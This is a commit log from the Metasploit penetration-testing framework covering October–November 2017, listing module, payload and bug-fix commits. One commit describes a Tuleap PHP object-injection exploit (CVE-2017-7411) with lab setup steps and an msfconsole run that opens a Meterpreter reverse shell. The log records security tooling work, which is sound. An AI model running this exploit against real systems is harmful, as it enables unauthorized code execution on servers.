bwatters-r7
5a07be9b96
Land #9041 , Add LPE on Windows using CVE-2017-8464
2017-11-08 10:09:03 -06:00
Patrick Webster
2f6da89674
Change author name to nick.
2017-11-09 03:00:24 +11:00
bwatters-r7
19e3e181c1
Fix compiling instructions
2017-11-08 09:36:32 -06:00
bwatters-r7
4abe8ff0d9
recompile binaries
2017-11-08 09:33:48 -06:00
bwatters-r7
9b24ed8406
Removed binaries for recompile
2017-11-08 09:26:40 -06:00
Spencer McIntyre
fa8d017579
Change documentation from a first person context
2017-11-08 09:29:46 -05:00
bwatters-r7
11093b8393
Added documentation
2017-11-08 08:07:06 -06:00
RootUp
03cd8af29a
Update browser_sop_bypass.rb
2017-11-08 12:50:49 +05:30
RootUp
0c247d5635
Update browser_sop_bypass.rb
2017-11-08 12:38:37 +05:30
Brent Cook
1927e8b95c
Land #9187 , avoid endless loop in packet recv in windows meterpreter
2017-11-07 20:59:40 -06:00
OJ
6f9671ff11
Updated Payloads version to 1.3.14
2017-11-08 12:36:50 +10:00
Spencer McIntyre
c2578c1487
Refactor GetProcessSid to remove do while FALSE
2017-11-07 19:11:24 -05:00
Austin
0a4ce1e87b
cmdstager build
...
Removes the need for HTTP Server, utilizes helper CmdStager, reduces module size.
2017-11-07 19:00:59 -05:00
Brent Cook
1f5dcfb610
Land #9185 , Don't fail if mssql server does not support encryption
2017-11-07 14:36:02 -06:00
William Vu
fbbc8da8fb
Fix raise(s) in MSSQL client aborting mssql_login
2017-11-07 14:30:47 -06:00
Maurice Popp
6683ba501f
added one missing change
2017-11-07 20:05:43 +01:00
Maurice Popp
8963d77bca
multiple changes as requested by h00die
2017-11-07 20:00:56 +01:00
Pearce Barry
fc87ee08d9
Land #9060 , IBM Lotus Notes DoS (CVE-2017-1130).
2017-11-07 11:20:12 -06:00
attackdebris
7173e7f4b4
Add CVE to module description
2017-11-07 11:05:14 -05:00
RootUp
872894f743
Update browser_sop_bypass.rb
2017-11-07 21:29:16 +05:30
attackdebris
d770406049
Add docs
2017-11-07 10:58:28 -05:00
RootUp
2fad61101e
Update browser_sop_bypass.rb
2017-11-07 21:13:06 +05:30
attackdebris
371f3c333a
This commit adds the jenkins_xstream_deserialize module
2017-11-07 09:46:42 -05:00
RootUp
3dad025b8c
Create browser_sop_bypass.rb
2017-11-07 14:24:50 +05:30
RootUp
85b8b4116a
Create ibm_lotus_notes2.md
2017-11-07 12:08:08 +05:30
William Vu
92c5b271c5
Land #9178 , multi/handler enhancements rollback
2017-11-06 12:03:53 -06:00
RootUp
88db98c381
Update ibm_lotus_notes2.rb
2017-11-06 20:45:50 +05:30
Brent Cook
cfeb0b7bda
prefer threadsafe sleep here
2017-11-06 01:37:09 -06:00
Brent Cook
897b5b5dd1
revert passive handler stance
2017-11-06 01:37:09 -06:00
Brent Cook
6fb8928523
Land #9177 , fix docker builds
2017-11-06 01:35:54 -06:00
Christian Mehlmauer
9206dee5bb
disable gem update for now as version 2.7.1 is broken
2017-11-06 07:49:10 +01:00
Pearce Barry
77c13286e0
Ensure closing script tag has necessary escape.
2017-11-05 13:41:29 -06:00
Spencer McIntyre
7d1de9bc48
Fix removing the dropped files after exploitation
2017-11-04 18:50:20 -04:00
h00die
c9e3b8816b
remove old name
2017-11-04 13:53:04 -04:00
h00die
9236aff6ee
forgot to add my docs
2017-11-04 13:51:41 -04:00
Austin
1758ed93d4
Update dlink_850l_unauth_exec.rb
2017-11-04 11:42:49 -04:00
Austin
724c5fb963
finish
2017-11-04 11:41:07 -04:00
Austin
646c7f7c0a
update doc
2017-11-04 11:40:32 -04:00
Austin
e783cb59ea
add "check" & msftidy
2017-11-04 08:53:50 -04:00
Austin
84599ed3fc
Update dlink_850l_unauth_exec.rb
2017-11-04 07:58:13 -04:00
Austin
cddec8ca6c
download creds, stores in loot.
2017-11-03 14:24:45 -04:00
Metasploit
deb5a7b015
Bump version of framework to 4.16.16
2017-11-03 10:03:38 -07:00
Austin
40bcb3f0c8
update documentation
2017-11-03 09:09:51 -04:00
Austin
32a75e9782
Update dlink_850l_unauth_exec.rb
2017-11-03 09:02:48 -04:00
Austin
705c1cc6a7
Redo Functions
2017-11-03 08:33:42 -04:00
Austin
8c0da8ea90
Update dlink_850l_unauth_exec.rb
2017-11-03 06:24:07 -04:00
Austin
af583e843c
Update dlink_850l_unauth_exec.rb
2017-11-03 06:21:59 -04:00
h00die
697031eb36
mysql UDF now multi
2017-11-03 05:26:05 -04:00
Austin
5b7d803f85
Update dlink_850l_unauth_exec.rb
2017-11-02 15:57:03 -04:00
Austin
caad1bbf27
Create dlink_dir850l_unauth_exec.md
2017-11-02 15:54:45 -04:00
Austin
429ac71a63
header
2017-11-02 15:53:45 -04:00
Austin
61a67efb82
annnd....it sucks
2017-11-02 15:53:09 -04:00
Metasploit
a14102083c
Bump version of framework to 4.16.15
2017-11-02 10:01:12 -07:00
Spencer McIntyre
70033e2b94
Enable the payload handler by default
2017-11-02 12:31:54 -04:00
bwatters-r7
c2a979dd3c
Land #9134 , fix buggy handling of partial ingress packet data
2017-11-01 20:06:23 -05:00
Spencer McIntyre
d815e42ccf
Add a generic tab completion function
2017-11-01 20:38:45 -04:00
William Vu
a15b61a218
Fix #9160 , exploit method from TcpServer
...
It already starts the server and waits for us. This is what was called
when the module was still auxiliary.
2017-11-01 19:26:00 -05:00
William Vu
57fde9d8ca
Land #9160 , tnftp_savefile auxiliary to exploit
2017-11-01 18:48:07 -05:00
William Vu
87934b8194
Convert tnftp_savefile from auxiliary to exploit
...
This has been a long time coming. Fixes #4109 .
2017-11-01 17:37:41 -05:00
William Vu
972f9c08eb
Land #9135 , peer print for jenkins_enum
2017-11-01 15:33:13 -05:00
William Vu
77181bcc9c
Prefer peer over rhost/rport
2017-11-01 15:32:32 -05:00
William Vu
0e66ca1dc0
Fix #3444/#4774, get_json_document over JSON.parse
...
Forgot to update these when I wrote new modules.
2017-11-01 15:05:49 -05:00
William Vu
5de190f092
Land #9145 , ERB/<ruby> for Meterpreter resource
2017-11-01 13:48:51 -05:00
William Vu
7a09dcb408
Fix #9109 , HttpServer (TcpServer) backgrounding
2017-11-01 13:35:04 -05:00
William Vu
e3ac6b8dc2
Land #9109 , wp-mobile-detector upload and execute
2017-11-01 13:25:16 -05:00
William Vu
3847a68494
Clean up module
2017-11-01 13:23:32 -05:00
Jeffrey Martin
7a21cfdfa6
add cached sizes for ppce500v2
2017-11-01 13:08:15 -05:00
Brent Cook
7895cbc413
Land #9157 , Add missing ppce500v2 tests
2017-11-01 12:33:02 -05:00
Brent Cook
aafc09ed85
Land #9156 , remove broken bundler workaround, fix rspec
2017-11-01 12:00:44 -05:00
Jeffrey Martin
553452c19d
add missing ppc500v2 payload specs
2017-11-01 12:00:03 -05:00
Jeffrey Martin
cd114c90e0
remove no longer available bundler hack
...
This address issue #9155 for bundler failures in TravisCI
2017-11-01 11:52:41 -05:00
EgiX
0973bfb922
Update tuleap_rest_unserialize_exec.rb
2017-11-01 16:37:14 +01:00
EgiX
6985e1b940
Add module for CVE-2017-7411: Tuleap <= 9.6 Second-Order PHP Object Injection
...
This PR contains a module to exploit [CVE-2017-7411](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7411 ), a Second-Order PHP Object Injection vulnerability in Tuleap before version 9.7 that might allow authenticated users to execute arbitrary code with the permissions of the webserver. The module has been tested successfully with Tuleap versions 9.6, 8.19, and 8.8 deployed in a Docker container.
## Verification Steps
The quickest way to install an old version of Tuleap is through a Docker container. So install Docker on your system and go through the following steps:
1. Run `docker volume create --name tuleap`
2. Run `docker run -ti -e VIRTUAL_HOST=localhost -p 80:80 -p 443:443 -p 22:22 -v tuleap:/data enalean/tuleap-aio:9.6`
3. Run the following command in order to get the "Site admin password": `docker exec -ti <container_name> cat /data/root/.tuleap_passwd`
4. Go to `https://localhost/account/login.php ` and log in as the "admin" user
5. Go to `https://localhost/admin/register_admin.php?page=admin_creation ` and create a new user (NOT Restricted User)
6. Open a new browser session and log in as the newly created user
7. From this session go to `https://localhost/project/register.php ` and make a new project (let's name it "test")
8. Come back to the admin session, go to `https://localhost/admin/approve-pending.php ` and click on "Validate"
9. From the user session you can now browse to `https://localhost/projects/test/ ` and click on "Trackers" -> "Create a New Tracker"
10. Make a new tracker by choosing e.g. the "Bugs" template, fill all the fields and click on "Create"
11. Click on "Submit new artifact", fill all the fields and click on "Submit"
12. You can now test the MSF module by using the user account created at step n.5
NOTE: successful exploitation of this vulnerability requires an user account with permissions to submit a new Tracker artifact or access already existing artifacts, which means it might be exploited also by a "Restricted User".
## Demonstration
```
msf > use exploit/unix/webapp/tuleap_rest_unserialize_exec
msf exploit(tuleap_rest_unserialize_exec) > set RHOST localhost
msf exploit(tuleap_rest_unserialize_exec) > set USERNAME test
msf exploit(tuleap_rest_unserialize_exec) > set PASSWORD p4ssw0rd
msf exploit(tuleap_rest_unserialize_exec) > check
[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 089d56ffc3888c5bc90220f843f582aa
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[+] localhost:443 The target is vulnerable.
msf exploit(tuleap_rest_unserialize_exec) > set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(tuleap_rest_unserialize_exec) > ifconfig docker0 | grep "inet:" | awk -F'[: ]+' '{ print $4 }'
msf exploit(tuleap_rest_unserialize_exec) > set LHOST 172.17.0.1
msf exploit(tuleap_rest_unserialize_exec) > exploit
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Trying to login through the REST API...
[+] Login successful with test:p4ssw0rd
[*] Updating user preference with POP chain string...
[*] Retrieving the CSRF token for login...
[+] CSRF token: 01acd8380d98c587b37ddd75ba8ff6f7
[+] Login successful with test:p4ssw0rd
[*] Triggering the POP chain...
[*] Sending stage (33721 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:56572) at 2017-11-01 16:07:01 +0100
meterpreter > getuid
Server username: codendiadm (497)
```
2017-11-01 16:09:14 +01:00
Brent Cook
a347dee372
Land #9150 , fix broken and simplify unusual RuntimeError exceptions
2017-11-01 06:03:36 -05:00
Brent Cook
90766ceceb
remove more unusual raise RuntimeError patterns
2017-11-01 05:59:12 -05:00
Spencer McIntyre
1462330f34
Add tab completion to the payload generate command
2017-10-31 20:33:31 -04:00
lvarela-r7
c36184697c
Merge pull request #9150 from bcook-r7/runtimeerror
...
Fix several broken raise RuntimeError calls in error paths
2017-10-31 14:47:42 -05:00
Brent Cook
f1e6e7eed5
Land #9107 , add MinRID to complement MaxRID
2017-10-31 12:18:28 -05:00
Pearce Barry
48975a4327
Support multiple suffixes on meterpreter extensions.
2017-10-31 10:04:34 -05:00
Pearce Barry
daf2acc2b1
Initial work to support Mettle exetensions (and a sniffer).
...
See MS-2775.
2017-10-31 10:04:30 -05:00
Brent Cook
95b6cda06e
Land #9146 , add e500v2 and reduce size of x86_64
2017-10-31 09:54:07 -05:00
Brent Cook
c4dcd79e41
Land #9144 , fix misspelling in exploit/windows/local/wmi_persistence
2017-10-31 05:01:13 -05:00
Brent Cook
aa0ac57238
use implicit RuntimeError
2017-10-31 04:53:14 -05:00
Brent Cook
9389052f61
fix more broken RuntimeError calls
2017-10-31 04:45:19 -05:00
Brent Cook
f42b980cf0
fix misspelled RuntimeError
2017-10-30 15:42:11 -05:00
Brent Cook
56eb828cc5
add e500v2 payloads
2017-10-30 14:04:10 -05:00
Brent Cook
22f9626186
update sizes
2017-10-30 05:26:29 -05:00
Brent Cook
ebaf0c5484
bump mettle, update toolchain, add e500v2 and reduce size of x86_64
2017-10-30 05:09:31 -05:00
Spencer McIntyre
940573ad49
Support ruby directives in Meterpreter rc scripts
2017-10-29 15:57:33 -04:00
h00die
3b8ef02c29
sid vs side
2017-10-29 08:36:05 -04:00
RootUp
9c16da9c98
Update ibm_lotus_notes2.rb
2017-10-28 18:53:15 +05:30
Brent Cook
e70ca74c15
Land #9137 , Add module support for sessions -s
2017-10-27 19:57:52 -05:00
Steven Patterson
b96fa690a9
Add brackets to print functions
2017-10-27 15:23:22 -04:00
William Vu
9349e1eda5
Fix find_script_path to check only files
2017-10-27 12:28:58 -05:00
William Vu
73c9807c55
Add module support for sessions -s
2017-10-27 12:28:53 -05:00
Metasploit
140955f220
Bump version of framework to 4.16.14
2017-10-27 10:03:00 -07:00
Brent Cook
7705efee90
Land #9136 , bump metasploit payloads, windows meterpreter fixes
2017-10-27 09:58:19 -07:00
Brent Cook
254c2a33d3
bump metasploit payloads, windows meterpreter fixes
2017-10-27 11:44:23 -05:00
sho-luv
587c9673c6
Added host and port to output
...
I added the host and port number to reporting when instances are found.
2017-10-27 09:34:49 -07:00
h00die
037c58d1f6
wp-mobile-detector udpates
2017-10-27 10:10:04 -04:00
Brent Cook
d188982760
handle masked EOF from Rex sockets (TODO: kill that behavior)
2017-10-27 02:29:25 -07:00
Brent Cook
85b59c87ca
fix buggy handling of partial ingress packet data
...
If we have more data, and the packet parser needs more data, connect the two
together rather than bailing. This fixes reverse_tcp_ssl along with probably a
lot of other higher-latency corner cases.
2017-10-27 02:15:08 -07:00
Steven Patterson
8613852ee8
Add Mako Server v2.5 command injection module/docs
2017-10-26 23:29:11 -04:00
Brent Cook
2682e6ed91
Land #9132 , Restore changes from PR #8933
2017-10-26 17:17:03 -07:00
Jeffrey Martin
cd755b05d5
update powershell specs for rex-powershell 0.1.77
2017-10-26 15:03:10 -05:00
Jeffrey Martin
43b67fe80b
remove errant bracket, formatting update
2017-10-26 15:01:53 -05:00
dmohanty-r7
805dcb2db6
Land #9128 , New RC script for dev-related vulns
2017-10-25 16:41:05 -05:00
Jeffrey Martin
f2cba8d920
Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)
...
This restores the original PR
2017-10-25 16:29:11 -05:00
Jeffrey Martin
ca28abf2a2
Revert "Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)"
...
This reverts commit 4999606b61 , reversing
changes made to 4274b76473 .
2017-10-25 16:19:14 -05:00
Jeffrey Martin
87d34bef63
Revert "missing update to Gemfile.lock"
...
This reverts commit 9961c70cda .
2017-10-25 16:13:25 -05:00
Jeffrey Martin
0a858cdaa9
Revert "fix my comments from #8933 "
...
This reverts commit 02a2839577 .
2017-10-25 16:13:00 -05:00
Pearce Barry
eb3f7f949b
Fix formatting (again, sigh...).
2017-10-25 15:45:59 -05:00
Pearce Barry
f458f214db
Loop do, yo.
2017-10-25 15:43:25 -05:00
Pearce Barry
43aac0ca5e
PR feedback and add java module and scanner.
2017-10-25 15:39:23 -05:00
Jeffrey Martin
9961c70cda
missing update to Gemfile.lock
2017-10-25 15:07:36 -05:00
Jeffrey Martin
a402686d7a
add missing spec for singles/python/shell_bind_tcp
2017-10-25 14:58:49 -05:00
Jeffrey Martin
02a2839577
fix my comments from #8933
2017-10-25 14:46:41 -05:00
Jeffrey Martin
f7e2fb3164
Land #9121 , Bump rex-socket to pick up better certs
2017-10-25 14:06:13 -05:00
Jeffrey Martin
4999606b61
Land #8933 , Web_Delivery - Merge regsvr32_applocker_bypass_server & Add PSH(Binary)
2017-10-25 12:44:04 -05:00
Pearce Barry
84686e1ab1
Fix formatting.
2017-10-25 11:41:14 -05:00
Jeffrey Martin
4274b76473
Land #9119 , Fix #8436 , allow session upgrading on meterpreter sessions
2017-10-25 10:26:27 -05:00
Pearce Barry
4fc0eb0cb3
New resource script to check for development-related vulns.
2017-10-25 10:11:25 -05:00
Pearce Barry
a2930935ba
Land #9122 , Add resource scripts to check & verify common SMB vulnerabilities
2017-10-25 07:21:08 -05:00
Pearce Barry
c4c093b249
Method typo fix.
2017-10-25 07:06:18 -05:00
RootUp
80aba7264c
Update ibm_lotus_notes2.rb
2017-10-25 10:33:25 +05:30
Jeffrey Martin
270ec2e9e6
Bump rex-socket to pick up better certs
2017-10-24 16:39:01 -05:00
Jeffrey Martin
386e14828a
Land #8728 , Psexec via PSH related fixes
2017-10-24 15:55:18 -05:00
Wei Chen
d8b2e7a13d
Add resource scripts to check & verify common SMB vulnerabilities
...
This adds two resource scripts in order to check and verify common
SMB vuns that Metasploit can do:
* smb_checks.rc
* smb_validate.rc
2017-10-24 09:19:02 -07:00
Tim
40e57d7ee6
android payload options
2017-10-24 18:32:47 +08:00
Brent Cook
8004b9de06
Land #9118 , pull in fix for rapid7/metasploit-payloads#238
2017-10-23 23:04:35 -05:00
Brent Cook
50c533a452
update cached sizes
2017-10-23 23:04:02 -05:00
Tim
7e398e2ef5
Fix #9111 , bump metasploit-payloads gem to include php 5.3.10 fix
2017-10-24 11:40:02 +08:00
Brent Cook
1b01232624
Land #9070 , Fix bug copying MACE attributes between files
2017-10-23 22:15:42 -05:00
Brent Cook
402e926151
Land #9081 , Fix ftp.rb to get files larger than 16384
2017-10-23 22:11:36 -05:00
Brent Cook
c6bc55a175
Land #9082 , Fix ftp.rb so it closes all data sockets
2017-10-23 22:10:38 -05:00
Brent Cook
970fe2956e
Land #9115 , add python/shell_bind_tcp back
2017-10-23 16:38:33 -05:00
mumbai
19859f834d
re-add payload
2017-10-23 10:20:19 -04:00
Maurice Popp
df14dc4452
autodetection fixing
2017-10-23 09:07:46 +02:00
h00die
cd35ae4661
Land #9106 negear dgn1000 unauth rce module
2017-10-22 22:18:53 -04:00
h00die
210f6f80b7
netgear1000dng cleanup
2017-10-22 22:17:40 -04:00
Austin
eff94be951
Update netgear_dgn1000_setup_unauth_exec.rb
2017-10-22 16:55:40 -04:00
Austin
e9fdb5bd94
Create netgear_dgn1000_unauth_setup_exec.md
2017-10-22 16:54:06 -04:00
Austin
6f37bbb1d6
fix EDB
2017-10-22 16:11:19 -04:00
Tim
ca4feb5136
fix session upgrading
2017-10-23 01:26:45 +08:00
Austin
c7e35f885b
add disc date
2017-10-21 20:13:25 -04:00
Austin
e0831c1053
hopefully fix header..?
2017-10-21 18:38:32 -04:00
Austin
8239d28323
fix header
2017-10-21 09:07:18 -04:00
Dave Farrow
636551aa03
Fixed help message to match test
2017-10-20 21:32:54 -07:00
Dave Farrow
afe067fca5
commited file to the wrong place
2017-10-20 21:22:31 -07:00
Dave Farrow
ecada96585
#9108 : fixed unit test
2017-10-20 21:20:36 -07:00
Dave Farrow
8d035ccd40
#9108 : fixed broken unit test
2017-10-20 21:10:56 -07:00
Dave Farrow
ea1ac3d5b3
#9108 : added -C option to change default hosts columns
...
The -C option saves the column list the user provided and uses that as the default column list until msfconsole is restarted
2017-10-20 20:39:38 -07:00
h00die
cfd7761818
wp_mobile_detector rce
2017-10-20 23:19:58 -04:00
Austin
40e508f2ad
correct mistake
2017-10-20 22:26:54 -04:00
Austin
ac21567743
Fix requested changes
2017-10-20 22:17:04 -04:00
mumbai
8b8bebd782
remove payload
2017-10-20 20:27:15 -04:00
mumbai
b255ddf8d6
New NETGEAR module
2017-10-20 20:25:11 -04:00
Jon Hart
9658776adf
Land #9079 , adding @h00die's gopher scanner
2017-10-20 17:16:08 -07:00
mumbai
2f371c9784
Netgear MODULE UNAUTH
2017-10-20 20:15:36 -04:00
mumbai
2e376a1b6a
Merge remote-tracking branch 'upstream/master' into netgear_dgn1000_unauth_setup_exec
2017-10-20 20:13:29 -04:00
h00die
f250e15b6e
Land #9105 rename psh to polycom for name collision
2017-10-20 20:10:57 -04:00
h00die
fd028338e1
move psh to polycom so no more powershell name collision
2017-10-20 20:08:11 -04:00
h00die
5a6da487ab
Land #9043 two exploit modules for unitrends backup
2017-10-20 20:00:35 -04:00
h00die
5abdfe3e59
ueb9 style cleanup
2017-10-20 19:59:24 -04:00
h00die
c517ded3ae
Merge pull request #7 from jhart-r7/pr/9079-gopher
...
Gopher improvements
2017-10-20 19:25:03 -04:00
caleBot
c26779ef54
fixed msftidy issues
2017-10-20 14:39:39 -06:00
caleBot
8f622a5003
Update ueb9_bpserverd.rb
2017-10-20 14:35:03 -06:00
caleBot
cce7bf3e19
Update ueb9_bpserverd.rb
2017-10-20 14:33:46 -06:00
Brent Cook
d715f53604
add MinRID to complement MaxRID, allowing continuing or starting from a higher value
...
from @lvarela-r7
2017-10-20 15:32:25 -05:00
caleBot
85152b5f1e
added check function
2017-10-20 14:28:52 -06:00
caleBot
e9ad5a7dca
Update ueb9_api_storage.rb
2017-10-20 14:05:15 -06:00
caleBot
16b6248943
Update ueb9_bpserverd.rb
2017-10-20 13:58:12 -06:00
caleBot
5c0bcd8f0a
Update ueb9_bpserverd.rb
2017-10-20 13:56:25 -06:00
caleBot
abc749e1e8
Update ueb9_api_storage.rb
2017-10-20 13:48:29 -06:00
caleBot
8febde8291
Update ueb9_api_storage.rb
2017-10-20 12:23:53 -06:00
caleBot
e8de6a46d5
Update ueb9_bpserverd.md
2017-10-20 12:21:17 -06:00
Jon Hart
f938a1029b
Make note about stopping container after
2017-10-20 10:30:12 -07:00
Jon Hart
e82cb4577d
Show module selection + config
2017-10-20 10:12:46 -07:00
Jon Hart
a8b4d4e4a2
Link to gopher container
2017-10-20 10:04:09 -07:00
Metasploit
884b68fa60
Bump version of framework to 4.16.13
2017-10-20 10:02:23 -07:00
Jon Hart
811bae7361
Add docker go(pher) example
2017-10-20 09:59:25 -07:00
Jon Hart
664e774a33
style/rubocop cleanup
2017-10-20 09:44:07 -07:00
William Vu
c795cef69f
Land #9099 , disconnect option for send_request_cgi
2017-10-20 10:50:56 -05:00
Brent Cook
1319175dd8
Land #9102 , Fix nil bug in setting PromptChar without Prompt
2017-10-20 08:36:53 -05:00
William Vu
8e5deac3f4
Fix nil bug in setting PromptChar without Prompt
2017-10-20 00:38:01 -05:00
William Vu
e9416775d9
Land #9100 , typo fix for MS07-017 exploit
2017-10-19 22:55:31 -05:00
RageLtMan
a3912e4913
Provide disconnect option to send_request_cgi
...
The HTTP client mixin provides a #send_request_cgi method which
forcibly disconnects the client after receiving a response. This
terminates certain types of resulting sessions which depend on the
connection from the client to maintain a subprocess housing the
shell invocation.
Provide a disconnect boolean option to #send_request_cgi which
is checked in the disconnect(c) call after receiving the response.
Testing:
Locally tested on in-house exploit module written for disclosure
report.
TODO:
Discuss possibility of implementing fully asynchronous methods
like #send_request_cgi_async which won't bother getting a response
for cases such as the module mentioned above which is a command
injection via unfiltered POST var.
2017-10-19 21:22:31 -04:00
Kent Gruber
7cd532c384
Change targetr to target to fix small typo bug on one failure
...
The target object seems to have a typo where it is referred to as
“targetr” which I’d guess isn’t exactly what we’d like to do in this
case. So, I’ve changed that to “target” in order to work.
So, I’ve simply fixed that small typo.
2017-10-19 19:55:58 -04:00
Brent Cook
54d64cdcc5
Land #9064 , add aggregator >= 1.0.0 with cryptTLV packet format
2017-10-19 14:51:50 -05:00
mumbai
04a24e531b
New module
2017-10-18 21:37:26 -04:00
Jeffrey Martin
5458b58a74
restrict aggregator on arm for now
2017-10-18 13:21:02 -05:00
mumbai
2f98f2bc2a
Merge remote-tracking branch 'upstream/master'
2017-10-17 21:16:47 -04:00
Austin
7098372f58
Update shell_bind_tcp.rb
2017-10-17 19:33:10 -04:00
William Vu
60a7a80ff0
Land #9095 , default PromptTimeFormat (%T)
2017-10-17 16:50:47 -05:00
James Lee
af42f517b8
Default PromptTimeFormat to %T
2017-10-17 16:39:44 -05:00
mumbai
858bb26b56
Adding python/shell_bind_tcp, for an avaialable option
2017-10-17 07:36:45 -04:00
Tim
697b8935ba
Land #9091 , fix linux x86 elf-so generation
2017-10-17 14:30:01 +08:00
Evgeny Naumov
d5cdd2567a
add missing method
2017-10-16 16:01:53 -04:00
William Vu
7e338fdd8c
Land #9086 , proxying fix for nessus_rest_login
2017-10-16 11:52:04 -05:00
William Vu
df8261990d
Land #9085 , proxying fix for pop3_login
2017-10-16 11:38:24 -05:00
Jeffrey Martin
b04f5bdf90
Land #9077 , Enhancing the functionality on the nodejs shell_reverse_tcp payload.
2017-10-16 10:49:17 -05:00
Hanno Heinrichs
9597157e26
Make nessus_rest_login scanner proxy-aware again
2017-10-14 11:16:41 +02:00
Hanno Heinrichs
f4ae2e6cdc
Make pop3_login scanner proxy-aware again
2017-10-14 11:05:54 +02:00
itsmeroy2012
9afc8b589c
Updating the payload sizes
2017-10-14 11:05:44 +05:30
Indranil Roy
b8d0986428
Merge pull request #7 from jmartin-r7/adjust_9077_whitespace
...
Adjust whitespace per desired style
2017-10-14 10:55:26 +05:30
Wei Chen
c67a5872cd
Land #9055 , Add exploit for Sync Breeze HTTP Server
...
Land #9055
2017-10-13 17:34:03 -05:00
Jeffrey Martin
6df8c40bb1
adjust whitespace 'no tabs' more reabable
2017-10-13 17:01:47 -05:00
Wei Chen
3a2c6128be
Support automatic targeting
2017-10-13 16:53:22 -05:00
Wei Chen
6b89f62b08
Land #9080 , ensure autoruns on shell sessions
...
Land #9080
2017-10-13 15:35:31 -05:00
Wei Chen
5ce4c32213
Use session object instead of self
...
The session object has :process_autoruns, not self
2017-10-13 15:33:27 -05:00
William Vu
b2de5aba07
Fix #9075 , super setup fix for local exploits
2017-10-13 12:45:14 -05:00
bigendiansmalls
1b306caf39
Fixed ftp.rb to get files larger than 16384
...
Existing ftp.rb did get_once, which limits file
DL to 16384 (def_block_size). Change to get and
added one more timeout variable see:
http://www.rubydoc.info/gems/librex/Rex%2FIO%2FStream:def_block_size
and
http://www.rubydoc.info/gems/librex/Rex%2FIO%2FStream:get_once
and
http://www.rubydoc.info/gems/librex/Rex%2FIO%2FStream:get
2017-10-13 12:41:11 -05:00
Metasploit
88585a5cfd
Bump version of framework to 4.16.12
2017-10-13 10:03:48 -07:00
bigendiansmalls
e5e9c7ccd6
Fixed ftp.rb so it closes all data sockets
...
ftp.rb was doing a shutdown without a close on data
(not command) sockets. This can cause CLOSE_WAIT
for extended periods in certain circumstances-ending
only when msf itself is closed.
2017-10-13 10:09:43 -05:00
Brent Cook
e209256d62
ensure we do autoruns for all session types
2017-10-12 23:11:58 -05:00
h00die
297ca25953
fix IPs
2017-10-12 21:40:27 -04:00
h00die
a63c947768
gopher proto
2017-10-12 21:32:01 -04:00
Adam Cammack
9b219f42c5
Land #9029 , Fix Linux post module file assumptions
2017-10-12 17:56:40 -05:00
Adam Cammack
deb2d76678
Land #9058 , Add proxies back to smb_login
2017-10-12 17:31:45 -05:00
William Vu
5b40febdc5
Land #9075 , missing setup fix for post modules
2017-10-12 12:24:46 -05:00
William Vu
bf2fb7051a
Fix session compatibility check for post modules
2017-10-12 11:57:11 -05:00
itsmeroy2012
a0abffb6c4
Adding functionality of StagerRetryWait and StagerRetryCount
2017-10-12 22:25:00 +05:30
William Vu
f556a5f805
Add compatible session types to post module info
2017-10-12 11:41:02 -05:00
itsmeroy2012
374c139d33
Increasing the functionality of the nodejs shell_reverse_tcp payload
2017-10-12 19:05:59 +05:30
William Webb
8cfd4928ed
Land #9069 , Add docs for scanner/http/open_proxy
2017-10-11 23:08:07 -05:00
Wei Chen
d0e65a4177
Land #9068 , add doc for auxiliary/scanner/http/files_dir
...
Land #9068
2017-10-11 17:13:26 -05:00
Wei Chen
eaf686f164
Fix format
2017-10-11 17:12:45 -05:00
Wei Chen
3a8a85bbe5
Land #9065 , add doc for auxiliary/scanner/http/http_login
...
Land #9065
2017-10-11 17:09:35 -05:00
Wei Chen
fc40fe0da2
Fix format
2017-10-11 17:08:49 -05:00
Wei Chen
2503d2ab2e
Land #9067 , add doc for auxiliary/scanner/http/http_header
...
Land #9067
2017-10-11 17:03:29 -05:00
Wei Chen
17b4678998
Fix format
2017-10-11 17:02:41 -05:00
Indranil Roy
72291d31fb
Update open_proxy.md
2017-10-12 03:29:49 +05:30
itsmeroy2012
17d7faa96b
fixing typos
2017-10-12 03:00:09 +05:30
bwatters-r7
294230c455
Land #8509 , add Winsxs bypass for UAC
2017-10-11 16:24:52 -05:00
Indranil Roy
763720cc4a
Merge pull request #6 from rapid7/master
...
updating master
2017-10-12 02:31:38 +05:30
Jeffrey Martin
cfaa34d2a4
more style cleanup for tomcat_jsp_upload_bypass
2017-10-11 15:53:35 -05:00
Wei Chen
978ede363e
Land #9066 , add doc for http_version
...
Land #9066
2017-10-11 15:39:44 -05:00
Jeffrey Martin
9885dc07f7
updates for style
2017-10-11 15:29:47 -05:00
Jeffrey Martin
1786634906
Land #9059 , Tomcat JSP Upload via PUT Bypass
2017-10-11 15:05:00 -05:00
William Webb
84fe0847bf
Land #9074 , Add prints and error checking to HTTP CmdStagers
2017-10-11 14:27:52 -05:00
Wei Chen
8b3cc2b94f
Tweak format
2017-10-11 14:14:56 -05:00
William Vu
569b68bee2
Update rex-exploitation to 0.1.15
2017-10-11 14:09:35 -05:00
William Vu
27876a91d3
Add prints and better checking to HTTP CmdStagers
...
Admittedly, this code is more convoluted than it needs to be.
2017-10-11 14:01:56 -05:00
Jeffrey Martin
df1f7dfb84
Land #9072 , remove invalid 'client' object reference in nodejs
2017-10-11 12:12:03 -05:00
Jeffrey Martin
b76c1f3647
remove invalid 'client' object reference in nodejs
...
fix #9063 by removing invalid object reference introduced in PR #8825
2017-10-11 11:09:28 -05:00
Bradley Landherr
bdc00ef2df
Removing unecessary comment
2017-10-11 06:34:09 -07:00
Bradley Landherr
8dee369eb7
Fixing the -f option, removing reference to undefined 'path' variable & get_file_mace already returns a 'Time' object instance
2017-10-11 06:28:03 -07:00
root
03e7797d6c
fixed msftidy errors and added documentation
2017-10-11 07:57:01 -04:00
itsmeroy2012
1c8871cbe3
Documentation on auxiliary module open_proxy
2017-10-11 16:29:56 +05:30
itsmeroy2012
579cfed5f4
Documentation on auxiliary module files_dir
2017-10-11 16:15:19 +05:30
itsmeroy2012
fcf6a1ec96
Documentation on http_header
2017-10-11 15:30:43 +05:30
